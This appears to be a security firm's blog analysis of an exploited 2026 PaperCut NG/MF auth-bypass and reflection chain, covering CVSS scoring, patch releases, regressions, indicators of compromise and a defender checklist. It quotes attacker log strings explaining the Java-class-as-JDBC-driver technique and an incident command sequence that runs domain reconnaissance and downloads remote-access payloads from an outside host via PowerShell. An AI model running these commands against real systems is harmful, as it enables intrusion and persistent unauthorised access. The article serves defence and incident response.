The vendor's first instruction was not 'patch'. It was 'get this off the internet'.

Read enough vendor security bulletins and you learn to skim to the version table. The structure is almost always the same: here is the bug, here is the fixed build, upgrade at your convenience.

PaperCut’s bulletin, live since August 27 and updated fourteen times since, does not do that. Before it names a CVE, before it lists a single build number, it says this:

If your PaperCut NG/MF Application Server is accessible from the public internet, immediately restrict web access to trusted IP addresses only (e.g. internal IP addresses). Use firewall rules, network access controls, or equivalent measures to ensure the PaperCut server’s web interfaces cannot be reached from untrusted internet addresses. Take this action now, even if you have not observed suspicious activity.

That is the vendor telling you the patch is not the first move. It is worth understanding why, because the reasoning applies to a lot more software than print management, and because the way this incident has unfolded over the last six days is a good short course in why “we patched it” and “we are fine” are different sentences.

What PaperCut is, and why you might have one without knowing

PaperCut NG and PaperCut MF are self-hosted print management servers. They meter and charge for printing, hold jobs until someone taps a badge at the device, enforce quotas, and produce the reports that tell a school board or a law firm which department burned through the toner budget. PaperCut says the software is used by 100 million users across more than 70,000 organisations.

If you are a five-person web shop, you almost certainly do not run one. If you are a school, a clinic, a municipality, a law firm, a print bureau, or a mid-sized office that bought a Xerox or Ricoh fleet with badge release, there is a reasonable chance one is sitting in a rack, installed by a reseller during the copier rollout, and nobody on your side has logged into its admin console since.

That is the population this affects. It is also exactly the population least likely to have a patch process for it.

The two vulnerabilities

Both were published by PaperCut’s security team on August 28 and added to CISA’s Known Exploited Vulnerabilities catalog on August 31.

CVE-2026-81578, authentication bypass, CVSS 8.8 High, CWE-306. From PaperCut’s own description: “An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks.”

Backend actions run before the access check finishes. The request is not authorised and then executed, it is executed and then, too late, authorised. Huntress, who reproduced the chain, describes the mechanism as a logic flaw where “a specifically crafted request can refer to one page that is rendered for the response, and another page that owns the component or action being executed.” The authorisation layer checks the page it is about to render. The component it actually runs belongs to a different page, with different permissions, which nobody checked.

CVE-2026-82078, unsafe reflection, CVSS 9.4 Critical, CWE-470. “The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers.” Tell PaperCut that its JDBC driver is a class of your choosing, and PaperCut will load and run that class as the service account.

On its own, that second one is a configuration change, and configuration changes require an administrator. Chain it behind the first one, which lets an unauthenticated stranger make configuration changes, and you have pre-authentication remote code execution on a server that holds directory credentials and, if Print Archiving is on, copies of everything anyone has printed.

Neither number tells you the truth

This is the part worth slowing down for, because it is the part that will cause organisations to deprioritise this.

Here are the two published CVSS 4.0 vectors, verbatim from PaperCut’s bulletin:

CVE	Score	Vector
CVE-2026-82078	9.4 Critical	CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVE-2026-81578	8.8 High	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Look at what those say if you triage the way most teams triage.

The 9.4 Critical carries PR:H. Privileges required: High. Scored honestly and in isolation, it needs an administrator. A team that filters its vulnerability feed for “critical severity, no privileges required” and works that queue first will not see this one in the queue.

The 8.8 High carries PR:N, so it is unauthenticated, but it is only rated High, and its confidentiality impact is VC:L, Low. On paper this is a stranger being able to change some settings. That does not read like a Friday night.

Neither vector describes what these two do together, because CVSS scores vulnerabilities one at a time and there is no field for “and there is another one next to it that supplies the missing precondition.” The chain is unauthenticated RCE. The catalogue entries know it, and say so: CISA’s KEV record for each one ends with the sentence “This vulnerability can be chained with” the other.

So the honest reading is that the severity numbers here are individually defensible and collectively misleading. If your patching policy is a threshold on a CVSS score, this pair walks straight through it. If your policy is closer to the risk-based model CISA moved to under BOD 26-04, which asks whether the thing is internet-facing and whether it is being exploited rather than what number it scored, you get the right answer immediately.

Both entries carry a remediation deadline of September 14, 2026 for US federal agencies. Both are currently marked knownRansomwareCampaignUse: Unknown, which means not yet, not that it will not be. PaperCut’s two 2023 bugs are both marked Known.

Three patches in five days

The release history, from PaperCut’s own update log, in Australian Eastern time because that is how the vendor stamps it:

When	What
27 Aug	Initial bulletin published. No patch. Advice is to firewall the server.
28 Aug, 02:10	Emergency Patch published for v25 and v26
28 Aug, 10:43	Note added for customers using external database Card/ID lookups
28 Aug, 20:42	Emergency Patch Release 2, additional hardening, credited to Huntress and watchTowr
28 Aug, 22:08	Release 2 published for v24
30 Aug, 15:35	Additional indicators of compromise added
1 Sep, 14:10	Build numbers added to the download links
1 Sep, 18:22	Emergency Patch Release 3, two regression fixes plus further hardening

Release 1 lasted about eighteen hours. watchTowr found multiple ways around it and turned up an additional authentication bypass while they were in there. Huntress independently reproduced the full chain and found its own bypasses. Rapid7’s own exploit module for Metasploit, opened as a pull request on August 28, states plainly that it “bypasses the vendors emergency patch v1” and that “the vendors emergency patch v2 has been verified to successfully remediate this exploit.”

Read that sequence for what it is. The first patch shipped roughly a day after public disclosure of active exploitation, and it did not hold. That is not a criticism of PaperCut, who have been unusually transparent throughout. It is the predictable outcome of shipping a fix under fire. Their CEO, Chris Dance, said as much: “The first release was an emergency mitigation. The next release added further hardening as we understood more. We have additional work in hand, and there may be further Emergency Patch releases if required, and of course, a final fully QA and regression-tested official release soon.”

The operational consequence for you is simple and unwelcome. Applying Release 1 or Release 2 and considering the matter closed leaves you exposed. PaperCut’s guidance is explicit: install Release 3 even if you already applied an earlier emergency release. Release 3 is cumulative, so you do not need the earlier ones first.

The Release 3 builds, from the bulletin:

Product	v24	v25	v26
PaperCut MF	Build 76534	Build 76532	Build 76531
PaperCut NG	Build 76535	Build 76533	Build 76530

The bulletin publishes SHA256 checksums for all eighteen installers. Verify them. You are downloading an out-of-band binary for a product currently under active attack, which is precisely the situation where checking a hash stops being paranoid.

The regressions, and the one that will bite quietly

Release 3 exists partly because Release 2 broke two things. Both are worth naming, because both create a strong incentive to do the wrong thing.

Broken SAML login flows. Organisations that patched on the Friday and use Microsoft Entra ID, Google Workspace or Okta SSO to sign in to PaperCut could find that sign-in stopped working. The natural weekend response to “the emergency patch broke authentication” is to roll the emergency patch back. If anyone on your team did that, the server has been unpatched and internet-reachable since, during a period when honeypots were recording exploitation. Release 3 fixes the SAML regression, so the reason to roll back is gone. Roll forward.

The card lookup that turns itself off without saying so. This is the subtle one. Release 2 changed the default for the external database Card/ID number lookup feature to off. To use it, you now have to add security.card-number-lookup.enabled=Y to server/security.properties and restart. PaperCut’s FAQ describes the failure mode in a single sentence that deserves to be read twice:

Without this key set, PaperCut NG/MF will silently ignore any external user lookup calls even though the Admin UI may still show the feature as configured.

The admin interface will tell you the feature is on. It is off. If your badge readers do card lookups against an external database, they stopped working when you patched, and the console gave you no reason why. PaperCut notes this is a rarely used feature and most sites will not care. If you are one of the sites that does, that is a support ticket that will take a day to diagnose from the symptoms alone.

There is a second-order point here that PaperCut does not spell out, so we will. That feature default did not change by accident. Look at the published indicators of compromise below and you will see the external lookup path is the road the attackers drive down. If you do not use external card lookups, leave the flag off. If you do, understand that turning it back on is restoring functionality that the emergency patch removed for a reason, and firewall accordingly.

What the indicators actually tell you

PaperCut published a list of strings to search for. Most coverage reprinted the list. The list is more interesting than that, because read together the strings describe the attack.

From server.log:

DB URL: jdbc:derby:memory:pwn;create=true
Database error looking up cardID: VALUES CAST(X'cafebabe
Database error looking up cardID: VALUES CAST('
DB URL: jdbc:no:x DB Driver: <5-char random name>
ERROR No suitable driver found for jdbc:no:x
ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST

And on disk:

<install>\server\lib\<5-char-name>.class
<install>\server\data\content\<5-char-name>.cmd
<install>\server\data\content\<5-char-name>.out

0xCAFEBABE is the magic number at the start of every compiled Java class file. VALUES CAST(X'cafebabe... is a Derby SQL statement casting a hex literal into bytes, and that hex literal is a Java class. jdbc:derby:memory:pwn is an in-memory Derby database created on the spot. The .class file lands in server/lib, which is on the application’s classpath. Then the driver name is set to a five-character random string matching that class, PaperCut’s unsafe reflection dutifully loads and instantiates it, and the “No suitable driver found for jdbc:no:x” error is what the log records after the class has already run.

So the sequence is: bypass authentication, repoint the card lookup at a database you control, use it to write a Java class into the server’s own library directory, then name that class as the JDBC driver so the server loads it. Every step abuses a legitimate feature. Nothing here is a memory corruption bug or an exotic parser trick, and that is exactly why it survived review.

The .cmd and .out files are the shell commands and their captured output. Note PaperCut’s caveat: “these files may be cleaned up by the attacker as activity progresses, so their absence does not rule out compromise.”

What the attackers are doing, in two flavours

There are two distinct behaviours on record, and conflating them will lead you to the wrong conclusion about your own risk.

Hands-on-keyboard intrusion with remote access tooling. PaperCut published a command sequence from a real incident, timestamped as elapsed time from the first command:

00:00:00  whoami & ver
00:01:19  tasklist
00:04:42  nltest /dclist:
00:06:09  quser & dir c:\users
00:16:07  powershell Invoke-WebRequest -Uri hxxps://sendit[.]sh/Gg7Rp/ace[.]exe -OutFile C:\ProgramData\ace.exe
00:18:07  dir c:\programdata /a
00:19:27  c:\programdata\ace.exe /S
00:21:29  Windows Service "Remote Access Service" installed (SimpleHelp agent, running as LocalSystem, auto-start)
00:21:41  tasklist
00:27:37  powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe

Twenty-seven minutes from first command to a second, redundant remote access channel. nltest /dclist: at four minutes is the attacker enumerating your domain controllers, which is not what someone interested in printers does. By the twenty-two minute mark there is a Windows service called “Remote Access Service” running SimpleService.exe as LocalSystem, set to start automatically, which survives the patch you apply next week.

Huntress, separately, observed two customer environments hit and one intrusion that “ran under two minutes in total” because endpoint protection isolated the machine. That is the difference EDR makes on a box like this, and it is the argument for having it on your print server, a machine most organisations classify as infrastructure rather than as a server worth defending.

Quiet bulk data theft. Over the weekend, threat intelligence outfit Defused reported honeypot activity beginning late on August 29 UTC that looks nothing like the above: “An actor is abusing the auth bypass to hijack PaperCut’s external user-lookup. Unlike the RCE path in public writeups, the actor goes for data theft, dumping DB tables via Derby.”

No shell, no RAT, no file on disk. Just the authentication bypass, the lookup hijack, and a database read. Which means an environment that finds none of the disk indicators above, and no whoami in its logs, and concludes it was not touched, may simply have been hit by the other actor. Recall that VC:L, the Low confidentiality rating on the unauthenticated half of this chain. Bulk extraction of a user directory is not a Low confidentiality outcome.

What is in that database: usernames, full names, email addresses, department and office assignments, card and ID numbers, and, for accounts PaperCut created itself rather than syncing, password hashes. For a school, that is a student and staff roster. For a clinic, it is a staff directory tied to badge numbers that open doors.

Roughly half of installations cannot be patched at all

Huntress tracks about 2,500 PaperCut installations. Around 47 percent of them are on version 23 or older.

There is no fix for those. PaperCut’s answer in the FAQ is one sentence: “The recommended path for all customers prior to PaperCut NG/MF v24 is to upgrade to the latest version.”

A major version upgrade of a print management server is not a Tuesday evening job. It touches your MFD embedded software, your release stations, your site servers, quite possibly your licence entitlements, and it needs the reseller who installed it, who is currently fielding calls from every other customer in the same position. Realistically, a meaningful share of those installations will not be upgraded this month.

For every one of them, the network control is not the fallback. It is the entire defence. Which is why PaperCut leads with it.

Shadowserver was tracking over 800 PaperCut servers reachable from the internet as of September 1, down from roughly 1,000 a few days earlier as organisations pulled them behind firewalls. The 2023 equivalent of this incident found that the education sector accounted for about 68 percent of exposed PaperCut servers, which is worth remembering when the next headline says a school board is down.

The checklist

If you run PaperCut NG or MF, in order:

1. Determine whether the Application Server’s web interface is reachable from the internet. Not whether it is supposed to be. Whether it is. Check from a phone on cellular data, not from the office network. If it is reachable, restrict it to internal addresses now, before you do anything else. This is the step that works regardless of version, patch state, or whether you have already been hit.
2. Get to Emergency Patch Release 3. Builds are in the table above. Verify the SHA256. Release 3 is cumulative, so you do not need to stage through 1 and 2.
3. Patch the Site Servers and secondary print servers too. PaperCut’s FAQ is explicit that these need updating, not just the primary Application Server. Mobility Print, Print Deploy, the User Client, PaperCut Hive and PaperCut Pocket are not affected and do not need touching.
4. On v23 or older, plan the upgrade and treat the firewall rule as load-bearing until it is done. Put a date on the upgrade. An indefinite “we will get to it” is how this becomes next year’s incident.
5. Search server.log for the strings above. Then check for a Windows service named “Remote Access Service” running SimpleService.exe from C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\, and for AnyDesk installations nobody authorised. Check whether server.log is missing or truncated, which is itself an indicator.
6. If your card readers stopped working after patching, that is the security.card-number-lookup.enabled default, not a hardware fault. Read the FAQ before you spend a day on it.
7. If you find anything, PaperCut’s own guidance is to rebuild rather than clean: secure backups, wipe the Application Server, rebuild, restore from a backup taken before the suspicious activity. Then rotate every credential the server held, starting with the directory service account it binds with. Once arbitrary code has run as the service account, you cannot prove what is left, which is the same conclusion we reached about self-hosted tooling on the KEV list and about Gitea in August.

This is the fifth time

PaperCut now has five entries in CISA’s exploited catalogue: CVE-2023-27350 and CVE-2023-27351 from the April 2023 incident, CVE-2023-2533 added in July 2025, and today’s pair.

The 2023 one is the instructive comparison. CVE-2023-27350 was improper access control in a class called SetupCompleted, which allowed authentication bypass, after which attackers used PaperCut’s own legitimate features, in that case Print Archiving, to get code execution. It was exploited by LockBit and Clop affiliates, then by the Iranian state-linked groups Microsoft tracks as Muddywater and APT35, then by the Bl00dy ransomware gang against schools, which prompted a joint FBI and CISA advisory in May 2023.

Three years later: improper access control in the web management interface, allowing authentication bypass, after which attackers use PaperCut’s own legitimate feature, this time the database driver configuration, to get code execution.

Same shape. Different class. That is not bad luck, it is what happens when a mature Java application has accumulated a large administrative surface behind an authorisation layer that decides access one screen at a time. Every feature that can be reconfigured by an administrator becomes a code execution primitive the moment the authorisation layer has a gap. The fix for CVE-2026-81578 closes this gap. It does not change the fact that the next gap has the same 200 features waiting behind it.

Which is the actual argument for the network control being permanent rather than an incident response measure. Not “until you patch.” Permanently.

The general version

Most small and mid-sized organisations have a short list of back-office appliances nobody thinks of as attack surface. The print server. The badge system. The building management controller. The NAS with the web UI. The camera recorder. The old Jira instance. They were installed by a vendor, they have a web interface, and they were exposed to the internet at some point because somebody needed to reach them from home in 2021.

They share three properties. They hold credentials to things that matter, usually including a directory bind account. Nobody owns their patching. And when a bug does appear, the vendor’s fix arrives as a major version upgrade that requires a maintenance window your business has not scheduled.

The question worth asking this week is not whether you run PaperCut. It is whether you could produce, within an hour, a list of everything in your organisation that has a web interface reachable from outside, and a name next to each one.

Most organisations we ask cannot. That list is a shorter project than it sounds, and it is the difference between reading a bulletin like this one with mild interest and reading it at 11pm.

If you are not sure what is on yours, get in touch. Producing the list is a short job. It is a much shorter job than the alternative.

Sources

• URGENT Security Advisory: PaperCut NG/MF Security Bulletin (27 Aug 2026), PaperCut Software, retrieved September 1, 2026, for the immediate-action wording, both CVE descriptions, CVSS 4.0 scores and vectors, the Release 3 build numbers and checksums, the full update log, all indicators of compromise, the attacker command sequence and every FAQ answer quoted above
• CISA Known Exploited Vulnerabilities Catalog, catalog version 2026.08.31, retrieved directly, for both entries’ dateAdded of 2026-08-31, the September 14 due date, the “can be chained with” wording, the knownRansomwareCampaignUse values, and the five total PaperCut entries
• PaperCut Zero-Day: Active Exploitation and Pre-Auth RCE, Huntress, for the rendered-page versus executed-component mechanism, the two observed intrusions, the under-two-minutes incident, and the figure of roughly 47 percent of about 2,500 tracked installations on v23 or older
• PaperCut NG/MF Critical Zero-Day Exploited in the Wild, Rapid7, for the CWE classifications and the Apache Tapestry request-format analysis
• Add exploit module for the recent PaperCut MF/NG 0day, Metasploit Framework pull request 21842, opened August 28, 2026, for the patch v1 bypass and the verification that patch v2 remediates it
• Recently patched PaperCut zero-days used in data theft attacks, BleepingComputer, September 1, 2026, for the Chris Dance quote, the 100 million users and 70,000 organisations figures, the Defused honeypot observation, the Shadowserver count of over 800, and the 2023 threat actor attribution
• More Details Emerge on Exploited PaperCut Vulnerabilities, SecurityWeek, for the watchTowr patch bypasses and additional authentication bypass, and the earlier Shadowserver figure of roughly 1,000 exposed instances
• Attackers plant remote access tools on compromised PaperCut servers, Help Net Security, August 31, 2026, for the SimpleHelp and AnyDesk deployment
• AA23-131A: Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG, joint FBI and CISA advisory, May 2023, for the Bl00dy Ransomware Gang targeting the Education Facilities subsector and the 68 percent exposure figure
• URGENT MF/NG vulnerability bulletin (March 2023), PaperCut Software, for the 2023 SetupCompleted mechanism, CVE-2023-27350 at CVSS 9.8 and CVE-2023-27351 at CVSS 8.2, and the user data exposed by the latter